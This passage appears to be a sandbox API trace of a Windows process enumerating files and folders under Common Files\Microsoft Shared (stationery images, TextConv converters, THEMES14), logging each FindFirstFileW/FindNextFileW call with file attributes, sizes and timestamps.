ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0088.231] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0088.233] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0088.234] GetProcessHeap () returned 0x470000 [0088.234] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0088.234] GetProcessHeap () returned 0x470000 [0088.234] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0088.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0088.235] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.235] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0088.235] GetProcessHeap () returned 0x470000 [0088.235] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0088.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0088.236] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.236] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.236] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0088.240] GetProcessHeap () returned 0x470000 [0088.240] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0088.240] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0088.240] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0088.240] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0088.240] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0088.241] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0088.241] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0088.241] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0088.241] GetProcessHeap () returned 0x470000 [0088.241] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0088.241] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0088.241] GetProcessHeap () returned 0x470000 [0088.241] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0088.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0090.029] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.208] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0091.209] GetProcessHeap () returned 0x470000 [0091.209] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x327a0d8 [0091.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0091.209] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.209] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0091.209] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0091.209] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 